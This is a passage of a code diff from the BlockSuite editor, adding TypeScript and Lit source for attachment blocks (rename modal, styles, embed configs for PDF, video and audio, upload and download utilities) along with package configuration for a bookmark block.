buttons.filter(button => button !== nothing),
renderToolbarSeparator
)}
</editor-toolbar>
`;
}

View File

@@ -0,0 +1,92 @@
import { ConfirmIcon } from '@blocksuite/affine-components/icons';
import { toast } from '@blocksuite/affine-components/toast';
import type { AttachmentBlockModel } from '@blocksuite/affine-model';
import type { EditorHost } from '@blocksuite/block-std';
import { html } from 'lit';
import { createRef, ref } from 'lit/directives/ref.js';
import { renameStyles } from './styles.js';
export const RenameModal = ({
editorHost,
model,
abortController,
}: {
editorHost: EditorHost;
model: AttachmentBlockModel;
abortController: AbortController;
}) => {
const inputRef = createRef<HTMLInputElement>();
// Fix auto focus
setTimeout(() => inputRef.value?.focus());
const originalName = model.name;
const nameWithoutExtension = originalName.slice(
0,
originalName.lastIndexOf('.')
);
const originalExtension = originalName.slice(originalName.lastIndexOf('.'));
const includeExtension =
originalExtension.includes('.') &&
originalExtension.length <= 7 &&
// including the dot
originalName.length > originalExtension.length;
let fileName = includeExtension ? nameWithoutExtension : originalName;
const extension = includeExtension ? originalExtension : '';
const onConfirm = () => {
const newFileName = fileName + extension;
if (!newFileName) {
toast(editorHost, 'File name cannot be empty');
return;
}
model.doc.updateBlock(model, {
name: newFileName,
});
abortController.abort();
};
const onInput = (e: InputEvent) => {
fileName = (e.target as HTMLInputElement).value;
};
const onKeydown = (e: KeyboardEvent) => {
e.stopPropagation();
if (e.key === 'Escape' && !e.isComposing) {
abortController.abort();
return;
}
if (e.key === 'Enter' && !e.isComposing) {
onConfirm();
return;
}
};
return html`
<style>
${renameStyles}
</style>
<div
class="affine-attachment-rename-overlay-mask"
@click="${() => abortController.abort()}"
></div>
<div class="affine-attachment-rename-container">
<div class="affine-attachment-rename-input-wrapper">
<input
${ref(inputRef)}
type="text"
.value=${fileName}
@input=${onInput}
@keydown=${onKeydown}
/>
<span class="affine-attachment-rename-extension">${extension}</span>
</div>
<editor-icon-button
class="affine-confirm-button"
.iconSize=${'24px'}
@click=${onConfirm}
>
${ConfirmIcon}
</editor-icon-button>
</div>
`;
};

View File

@@ -0,0 +1,101 @@
import { FONT_XS, PANEL_BASE } from '@blocksuite/affine-shared/styles';
import { css } from 'lit';
export const renameStyles = css`
.affine-attachment-rename-container {
${PANEL_BASE};
position: relative;
display: flex;
align-items: center;
width: 320px;
gap: 12px;
padding: 12px;
z-index: var(--affine-z-index-popover);
}
.affine-attachment-rename-input-wrapper {
display: flex;
min-width: 280px;
height: 30px;
box-sizing: border-box;
padding: 4px 10px;
background: var(--affine-white-10);
border-radius: 4px;
border: 1px solid var(--affine-border-color);
}
.affine-attachment-rename-input-wrapper:focus-within {
border-color: var(--affine-blue-700);
box-shadow: var(--affine-active-shadow);
}
.affine-attachment-rename-input-wrapper input {
flex: 1;
border: none;
outline: none;
background: transparent;
color: var(--affine-text-primary-color);
${FONT_XS};
}
.affine-attachment-rename-input-wrapper input::placeholder {
color: var(--affine-placeholder-color);
}
.affine-attachment-rename-extension {
font-size: var(--affine-font-xs);
color: var(--affine-text-secondary-color);
}
.affine-attachment-rename-overlay-mask {
position: fixed;
top: 0;
left: 0;
width: 100vw;
height: 100vh;
z-index: var(--affine-z-index-popover);
}
`;
export const moreMenuStyles = css`
.affine-attachment-options-more {
box-sizing: border-box;
padding-bottom: 4px;
}
.affine-attachment-options-more-container {
display: flex;
flex-direction: column;
align-items: center;
color: var(--affine-text-primary-color);
border-radius: 8px;
padding: 8px;
background: var(--affine-background-overlay-panel-color);
box-shadow: var(--affine-shadow-2);
}
.affine-attachment-options-more-container > icon-button {
display: flex;
align-items: center;
padding: 8px;
gap: 8px;
}
.affine-attachment-options-more-container > icon-button[hidden] {
display: none;
}
.affine-attachment-options-more-container > icon-button:hover.danger {
background: var(--affine-background-error-color);
color: var(--affine-error-color);
}
.affine-attachment-options-more-container > icon-button:hover.danger > svg {
color: var(--affine-error-color);
}
`;
export const styles = css`
:host {
z-index: 1;
}
`;

View File

@@ -0,0 +1,10 @@
import { AttachmentBlockComponent } from './attachment-block';
import { AttachmentEdgelessBlockComponent } from './attachment-edgeless-block';
export function effects() {
customElements.define(
'affine-edgeless-attachment',
AttachmentEdgelessBlockComponent
);
customElements.define('affine-attachment', AttachmentBlockComponent);
}

View File

@@ -0,0 +1,232 @@
import {
type AttachmentBlockModel,
type ImageBlockProps,
MAX_IMAGE_WIDTH,
} from '@blocksuite/affine-model';
import { FileSizeLimitService } from '@blocksuite/affine-shared/services';
import {
readImageSize,
transformModel,
withTempBlobData,
} from '@blocksuite/affine-shared/utils';
import { type BlockStdScope, StdIdentifier } from '@blocksuite/block-std';
import type { Container } from '@blocksuite/global/di';
import { createIdentifier } from '@blocksuite/global/di';
import { Bound } from '@blocksuite/global/utils';
import type { ExtensionType } from '@blocksuite/store';
import { Extension } from '@blocksuite/store';
import type { TemplateResult } from 'lit';
import { html } from 'lit';
import { getAttachmentBlob } from './utils';
export type AttachmentEmbedConfig = {
name: string;
/**
* Check if the attachment can be turned into embed view.
*/
check: (model: AttachmentBlockModel, maxFileSize: number) => boolean;
/**
* The action will be executed when the 「Turn into embed view」 button is clicked.
*/
action?: (
model: AttachmentBlockModel,
std: BlockStdScope
) => Promise<void> | void;
/**
* The template will be used to render the embed view.
*/
template?: (model: AttachmentBlockModel, blobUrl: string) => TemplateResult;
};
// Single embed config.
export const AttachmentEmbedConfigIdentifier =
createIdentifier<AttachmentEmbedConfig>(
'AffineAttachmentEmbedConfigIdentifier'
);
export function AttachmentEmbedConfigExtension(
configs: AttachmentEmbedConfig[] = embedConfig
): ExtensionType {
return {
setup: di => {
configs.forEach(option => {
di.addImpl(AttachmentEmbedConfigIdentifier(option.name), () => option);
});
},
};
}
// A embed config map.
export const AttachmentEmbedConfigMapIdentifier = createIdentifier<
Map<string, AttachmentEmbedConfig>
>('AffineAttachmentEmbedConfigMapIdentifier');
export const AttachmentEmbedProvider = createIdentifier<AttachmentEmbedService>(
'AffineAttachmentEmbedProvider'
);
export class AttachmentEmbedService extends Extension {
private get _maxFileSize() {
return this.std.store.get(FileSizeLimitService).maxFileSize;
}
get keys() {
return this.configs.keys();
}
get values() {
return this.configs.values();
}
get configs(): Map<string, AttachmentEmbedConfig> {
return this.std.get(AttachmentEmbedConfigMapIdentifier);
}
constructor(private readonly std: BlockStdScope) {
super();
}
static override setup(di: Container) {
di.addImpl(AttachmentEmbedConfigMapIdentifier, provider =>
provider.getAll(AttachmentEmbedConfigIdentifier)
);
di.addImpl(AttachmentEmbedProvider, this, [StdIdentifier]);
}
// Converts to embed view.
convertTo(model: AttachmentBlockModel, maxFileSize = this._maxFileSize) {
const config = this.values.find(config => config.check(model, maxFileSize));
if (!config?.action) {
model.doc.updateBlock(model, { embed: true });
return;
}
config.action(model, this.std)?.catch(console.error);
}
embedded(model: AttachmentBlockModel, maxFileSize = this._maxFileSize) {
return this.values.some(config => config.check(model, maxFileSize));
}
render(
model: AttachmentBlockModel,
blobUrl?: string,
maxFileSize = this._maxFileSize
) {
if (!model.embed || !blobUrl) return;
const config = this.values.find(config => config.check(model, maxFileSize));
if (!config || !config.template) {
console.error('No embed view template found!', model, model.type);
return;
}
return config.template(model, blobUrl);
}
}
const embedConfig: AttachmentEmbedConfig[] = [
{
name: 'image',
check: model =>
model.doc.schema.flavourSchemaMap.has('affine:image') &&
model.type.startsWith('image/'),
async action(model, std) {
const component = std.view.getBlock(model.id);
if (!component) return;
await turnIntoImageBlock(model);
},
},
{
name: 'pdf',
check: (model, maxFileSize) =>
model.type === 'application/pdf' && model.size <= maxFileSize,
template: (_, blobUrl) => {
// More options: https://tinytip.co/tips/html-pdf-params/
// https://chromium.googlesource.com/chromium/src/+/refs/tags/121.0.6153.1/chrome/browser/resources/pdf/open_pdf_params_parser.ts
const parameters = '#toolbar=0';
return html`<iframe
style="width: 100%; color-scheme: auto;"
height="480"
src=${blobUrl + parameters}
loading="lazy"
scrolling="no"
frameborder="no"
allowTransparency
allowfullscreen
type="application/pdf"
></iframe>`;
},
},
{
name: 'video',
check: (model, maxFileSize) =>
model.type.startsWith('video/') && model.size <= maxFileSize,
template: (_, blobUrl) =>
html`<video
style="max-height: max-content;"
width="100%;"
height="480"
controls
src=${blobUrl}
></video>`,
},
{
name: 'audio',
check: (model, maxFileSize) =>
model.type.startsWith('audio/') && model.size <= maxFileSize,
template: (_, blobUrl) =>
html`<audio controls src=${blobUrl} style="margin: 4px;"></audio>`,
},
];
/**
* Turn the attachment block into an image block.
*/
export async function turnIntoImageBlock(model: AttachmentBlockModel) {
if (!model.doc.schema.flavourSchemaMap.has('affine:image')) {
console.error('The image flavour is not supported!');
return;
}
const sourceId = model.sourceId;
if (!sourceId) return;
const { saveAttachmentData, getImageData } = withTempBlobData();
saveAttachmentData(sourceId, { name: model.name });
let imageSize = model.sourceId ? getImageData(model.sourceId) : undefined;
const bounds = model.xywh
? Bound.fromXYWH(model.deserializedXYWH)
: undefined;
if (bounds) {
if (!imageSize?.width || !imageSize?.height) {
const blob = await getAttachmentBlob(model);
if (blob) {
imageSize = await readImageSize(blob);
}
}
if (imageSize?.width && imageSize?.height) {
const p = imageSize.height / imageSize.width;
imageSize.width = Math.min(imageSize.width, MAX_IMAGE_WIDTH);
imageSize.height = imageSize.width * p;
bounds.w = imageSize.width;
bounds.h = imageSize.height;
}
}
const others = bounds ? { xywh: bounds.serialize() } : undefined;
const imageProp: Partial<ImageBlockProps> = {
sourceId,
caption: model.caption,
size: model.size,
...imageSize,
...others,
};
transformModel(model, 'affine:image', imageProp);
}

View File

@@ -0,0 +1,11 @@
export * from './adapters/notion-html';
export * from './attachment-block';
export * from './attachment-service';
export * from './attachment-spec';
export { attachmentViewToggleMenu } from './components/options';
export {
type AttachmentEmbedConfig,
AttachmentEmbedConfigIdentifier,
AttachmentEmbedProvider,
} from './embed';
export { addAttachments, addSiblingAttachmentBlocks } from './utils';

View File

@@ -0,0 +1,151 @@
import { css } from 'lit';
export const styles = css`
.affine-attachment-card {
margin: 0 auto;
box-sizing: border-box;
display: flex;
gap: 12px;
width: 100%;
height: 100%;
padding: 12px;
border-radius: 8px;
border: 1px solid var(--affine-background-tertiary-color);
opacity: var(--add, 1);
background: var(--affine-background-primary-color);
user-select: none;
}
.affine-attachment-content {
height: 100%;
display: flex;
flex-direction: column;
align-items: flex-start;
gap: 12px;
flex: 1 0 0;
border-radius: var(--1, 0px);
opacity: var(--add, 1);
}
.affine-attachment-content-title {
display: flex;
flex-direction: row;
gap: 8px;
align-items: center;
align-self: stretch;
padding: var(--1, 0px);
border-radius: var(--1, 0px);
opacity: var(--add, 1);
}
.affine-attachment-content-title-icon {
display: flex;
width: 16px;
height: 16px;
align-items: center;
justify-content: center;
}
.affine-attachment-content-title-icon svg {
width: 16px;
height: 16px;
fill: var(--affine-background-primary-color);
}
.affine-attachment-content-title-text {
display: -webkit-box;
-webkit-line-clamp: 1;
-webkit-box-orient: vertical;
word-break: break-all;
overflow: hidden;
text-overflow: ellipsis;
color: var(--affine-text-primary-color);
font-family: var(--affine-font-family);
font-size: var(--affine-font-sm);
font-style: normal;
font-weight: 600;
line-height: 22px;
}
.affine-attachment-content-info {
display: -webkit-box;
-webkit-box-orient: vertical;
-webkit-line-clamp: 1;
flex: 1 0 0;
word-break: break-all;
overflow: hidden;
color: var(--affine-text-secondary-color);
text-overflow: ellipsis;
font-family: var(--affine-font-family);
font-size: var(--affine-font-xs);
font-style: normal;
font-weight: 400;
line-height: 20px;
}
.affine-attachment-banner {
display: flex;
align-items: center;
justify-content: center;
}
.affine-attachment-banner svg {
width: 40px;
height: 40px;
}
.affine-attachment-card.loading {
background: var(--affine-background-secondary-color);
.affine-attachment-content-title-text {
color: var(--affine-placeholder-color);
}
}
.affine-attachment-card.error,
.affine-attachment-card.unsynced {
background: var(--affine-background-secondary-color);
}
.affine-attachment-card.cubeThick {
flex-direction: column-reverse;
.affine-attachment-content {
width: 100%;
flex-direction: column;
align-items: flex-start;
justify-content: space-between;
}
.affine-attachment-banner {
justify-content: flex-start;
}
}
.affine-attachment-embed-container {
position: relative;
width: 100%;
height: 100%;
}
.affine-attachment-iframe-overlay {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
}
.affine-attachment-iframe-overlay.hide {
display: none;
}
`;

View File

@@ -0,0 +1,343 @@
import { toast } from '@blocksuite/affine-components/toast';
import type {
AttachmentBlockModel,
AttachmentBlockProps,
} from '@blocksuite/affine-model';
import { defaultAttachmentProps } from '@blocksuite/affine-model';
import {
EMBED_CARD_HEIGHT,
EMBED_CARD_WIDTH,
} from '@blocksuite/affine-shared/consts';
import {
FileSizeLimitService,
TelemetryProvider,
} from '@blocksuite/affine-shared/services';
import { humanFileSize } from '@blocksuite/affine-shared/utils';
import type { BlockStdScope, EditorHost } from '@blocksuite/block-std';
import { GfxControllerIdentifier } from '@blocksuite/block-std/gfx';
import { Bound, type IVec, Point, Vec } from '@blocksuite/global/utils';
import type { BlockModel } from '@blocksuite/store';
import type { AttachmentBlockComponent } from './attachment-block.js';
export function cloneAttachmentProperties(model: AttachmentBlockModel) {
const clonedProps = {} as AttachmentBlockProps;
for (const cur in defaultAttachmentProps) {
const key = cur as keyof AttachmentBlockProps;
// @ts-expect-error it's safe because we just cloned the props simply
clonedProps[key] = model[
key
] as AttachmentBlockProps[keyof AttachmentBlockProps];
}
return clonedProps;
}
const attachmentUploads = new Set<string>();
export function setAttachmentUploading(blockId: string) {
attachmentUploads.add(blockId);
}
export function setAttachmentUploaded(blockId: string) {
attachmentUploads.delete(blockId);
}
function isAttachmentUploading(blockId: string) {
return attachmentUploads.has(blockId);
}
/**
* This function will not verify the size of the file.
*/
export async function uploadAttachmentBlob(
editorHost: EditorHost,
blockId: string,
blob: Blob,
filetype: string,
isEdgeless?: boolean
): Promise<void> {
if (isAttachmentUploading(blockId)) {
return;
}
const doc = editorHost.doc;
let sourceId: string | undefined;
try {
setAttachmentUploading(blockId);
sourceId = await doc.blobSync.set(blob);
} catch (error) {
console.error(error);
if (error instanceof Error) {
toast(
editorHost,
`Failed to upload attachment! ${error.message || error.toString()}`
);
}
} finally {
setAttachmentUploaded(blockId);
const block = doc.getBlock(blockId);
doc.withoutTransact(() => {
if (!block) return;
doc.updateBlock(block.model, {
sourceId,
} satisfies Partial<AttachmentBlockProps>);
});
editorHost.std
.getOptional(TelemetryProvider)
?.track('AttachmentUploadedEvent', {
page: `${isEdgeless ? 'whiteboard' : 'doc'} editor`,
module: 'attachment',
segment: 'attachment',
control: 'uploader',
type: filetype,
category: block && sourceId ? 'success' : 'failure',
});
}
}
export async function getAttachmentBlob(model: AttachmentBlockModel) {
const sourceId = model.sourceId;
if (!sourceId) {
return null;
}
const doc = model.doc;
let blob = await doc.blobSync.get(sourceId);
if (blob) {
blob = new Blob([blob], { type: model.type });
}
return blob;
}
export async function checkAttachmentBlob(block: AttachmentBlockComponent) {
const model = block.model;
const { id, sourceId } = model;
if (isAttachmentUploading(id)) {
block.loading = true;
block.error = false;
block.allowEmbed = false;
if (block.blobUrl) {
URL.revokeObjectURL(block.blobUrl);
block.blobUrl = undefined;
}
return;
}
try {
if (!sourceId) {
return;
}
const blob = await getAttachmentBlob(model);
if (!blob) {
return;
}
block.loading = false;
block.error = false;
block.allowEmbed = block.embedded();
if (block.blobUrl) {
URL.revokeObjectURL(block.blobUrl);
}
block.blobUrl = URL.createObjectURL(blob);
} catch (error) {
console.warn(error, model, sourceId);
block.loading = false;
block.error = true;
block.allowEmbed = false;
if (block.blobUrl) {
URL.revokeObjectURL(block.blobUrl);
block.blobUrl = undefined;
}
}
}
/**
* Since the size of the attachment may be very large,
* the download process may take a long time!
*/
export function downloadAttachmentBlob(block: AttachmentBlockComponent) {
const { host, model, loading, error, downloading, blobUrl } = block;
if (downloading) {
toast(host, 'Download in progress...');
return;
}
if (loading) {
toast(host, 'Please wait, file is loading...');
return;
}
const name = model.name;
const shortName = name.length < 20 ? name : name.slice(0, 20) + '...';
if (error || !blobUrl) {
toast(host, `Failed to download ${shortName}!`);
return;
}
block.downloading = true;
toast(host, `Downloading ${shortName}`);
const tmpLink = document.createElement('a');
const event = new MouseEvent('click');
tmpLink.download = name;
tmpLink.href = blobUrl;
tmpLink.dispatchEvent(event);
tmpLink.remove();
block.downloading = false;
}
export async function getFileType(file: File) {
if (file.type) {
return file.type;
}
// If the file type is not available, try to get it from the buffer.
const buffer = await file.arrayBuffer();
const FileType = await import('file-type');
const fileType = await FileType.fileTypeFromBuffer(buffer);
return fileType ? fileType.mime : '';
}
/**
* Add a new attachment block before / after the specified block.
*/
export async function addSiblingAttachmentBlocks(
editorHost: EditorHost,
files: File[],
maxFileSize: number,
targetModel: BlockModel,
place: 'before' | 'after' = 'after',
isEmbed?: boolean
) {
if (!files.length) {
return;
}
const isSizeExceeded = files.some(file => file.size > maxFileSize);
if (isSizeExceeded) {
toast(
editorHost,
`You can only upload files less than ${humanFileSize(
maxFileSize,
true,
0
)}`
);
return;
}
const doc = targetModel.doc;
// Get the types of all files
const types = await Promise.all(files.map(file => getFileType(file)));
const attachmentBlockProps: (Partial<AttachmentBlockProps> & {
flavour: 'affine:attachment';
})[] = files.map((file, index) => ({
flavour: 'affine:attachment',
name: file.name,
size: file.size,
type: types[index],
embed: isEmbed,
}));
const blockIds = doc.addSiblingBlocks(
targetModel,
attachmentBlockProps,
place
);
blockIds.forEach(
(blockId, index) =>
void uploadAttachmentBlob(editorHost, blockId, files[index], types[index])
);
return blockIds;
}
export async function addAttachments(
std: BlockStdScope,
files: File[],
point?: IVec,
transformPoint?: boolean // determines whether we should use `toModelCoord` to convert the point
): Promise<string[]> {
if (!files.length) return [];
const gfx = std.get(GfxControllerIdentifier);
const maxFileSize = std.store.get(FileSizeLimitService).maxFileSize;
const isSizeExceeded = files.some(file => file.size > maxFileSize);
if (isSizeExceeded) {
toast(
std.host,
`You can only upload files less than ${humanFileSize(
maxFileSize,
true,
0
)}`
);
return [];
}
let { x, y } = gfx.viewport.center;
if (point) {
let transform = transformPoint ?? true;
if (transform) {
[x, y] = gfx.viewport.toModelCoord(...point);
} else {
[x, y] = point;
}
}
const CARD_STACK_GAP = 32;
const dropInfos: { blockId: string; file: File }[] = files.map(
(file, index) => {
const point = new Point(
x + index * CARD_STACK_GAP,
y + index * CARD_STACK_GAP
);
const center = Vec.toVec(point);
const bound = Bound.fromCenter(
center,
EMBED_CARD_WIDTH.cubeThick,
EMBED_CARD_HEIGHT.cubeThick
);
const blockId = std.store.addBlock(
'affine:attachment',
{
name: file.name,
size: file.size,
type: file.type,
style: 'cubeThick',
xywh: bound.serialize(),
} satisfies Partial<AttachmentBlockProps>,
gfx.surface
);
return { blockId, file };
}
);
// upload file and update the attachment model
const uploadPromises = dropInfos.map(async ({ blockId, file }) => {
const filetype = await getFileType(file);
await uploadAttachmentBlob(std.host, blockId, file, filetype, true);
return blockId;
});
const blockIds = await Promise.all(uploadPromises);
gfx.selection.set({
elements: blockIds,
editing: false,
});
return blockIds;
}

View File

@@ -0,0 +1,20 @@
{
"extends": "../../tsconfig.json",
"compilerOptions": {
"rootDir": "./src",
"outDir": "./dist",
"tsBuildInfoFile": "./dist/tsconfig.tsbuildinfo"
},
"include": ["./src"],
"references": [
{ "path": "../block-embed" },
{ "path": "../block-surface" },
{ "path": "../components" },
{ "path": "../model" },
{ "path": "../shared" },
{ "path": "../../framework/block-std" },
{ "path": "../../framework/global" },
{ "path": "../../framework/inline" },
{ "path": "../../framework/store" }
]
}

View File

@@ -0,0 +1,44 @@
{
"name": "@blocksuite/affine-block-bookmark",
"description": "Bookmark block for BlockSuite.",
"type": "module",
"scripts": {
"build": "tsc",
"test:unit": "nx vite:test --run --passWithNoTests",
"test:unit:coverage": "nx vite:test --run --coverage",
"test:e2e": "playwright test"
},
"sideEffects": false,
"keywords": [],
"author": "toeverything",
"license": "MIT",
"dependencies": {
"@blocksuite/affine-block-embed": "workspace:*",
"@blocksuite/affine-components": "workspace:*",
"@blocksuite/affine-model": "workspace:*",
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/block-std": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.1",
"@blocksuite/inline": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
"@lit/context": "^1.1.2",
"@preact/signals-core": "^1.8.0",
"@toeverything/theme": "^1.1.12",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"zod": "^3.23.8"
},
"exports": {
".": "./src/index.ts",
"./effects": "./src/effects.ts"
},
"files": [
"src",
"dist",
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.20.0"
}

View File

@@ -0,0 +1,13 @@
import type { ExtensionType } from '@blocksuite/store';
import { BookmarkBlockHtmlAdapterExtension } from './html.js';
import { BookmarkBlockMarkdownAdapterExtension } from './markdown.js';
import { BookmarkBlockNotionHtmlAdapterExtension } from './notion-html.js';
import { BookmarkBlockPlainTextAdapterExtension } from './plain-text.js';
export const BookmarkBlockAdapterExtensions: ExtensionType[] = [
BookmarkBlockHtmlAdapterExtension,
BookmarkBlockMarkdownAdapterExtension,
BookmarkBlockNotionHtmlAdapterExtension,
BookmarkBlockPlainTextAdapterExtension,
];

Some files were not shown because too many files have changed in this diff Show More